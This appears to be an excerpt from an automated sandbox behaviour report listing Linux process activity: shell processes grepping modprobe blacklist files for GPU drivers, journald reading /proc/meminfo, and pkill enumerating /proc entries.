Source: /bin/sh (PID: 5867)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5870)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5946)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5949)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5951)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5954)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5957)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5959)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5962)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5966)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6041)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6043)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6045)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6047)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6049)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6054)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6057)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6059)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6233)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6235)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6237)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6243)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6249)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6255)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6260)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6262)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6422)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6427)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6430)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6432)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6436)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6439)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6449)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6451)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6529)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6531)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6533)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6535)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6539)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6541)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 6549)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 6555)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

Source: /lib/systemd/systemd-journald (PID: 5268)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5350)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5450)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5570)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5670)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5783)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 5876)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6017)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6075)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6163)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6265)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6354)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6459)	Reads from proc file: /proc/meminfo

Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/88/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/88/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/89/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/89/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/91/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/91/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/92/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/92/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/93/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/93/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/94/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/94/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/95/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/95/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/96/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/96/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/97/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/97/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/98/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/98/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/99/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/99/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/124/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/3/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/3/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/125/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/125/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/4/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/4/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/126/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/126/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/127/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/127/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/6/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/6/cmdline	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/128/status	Jump to behavior
Source: /usr/bin/pkill (PID: 5662)	File opened: /proc/128/cmdline	Jump to behavior
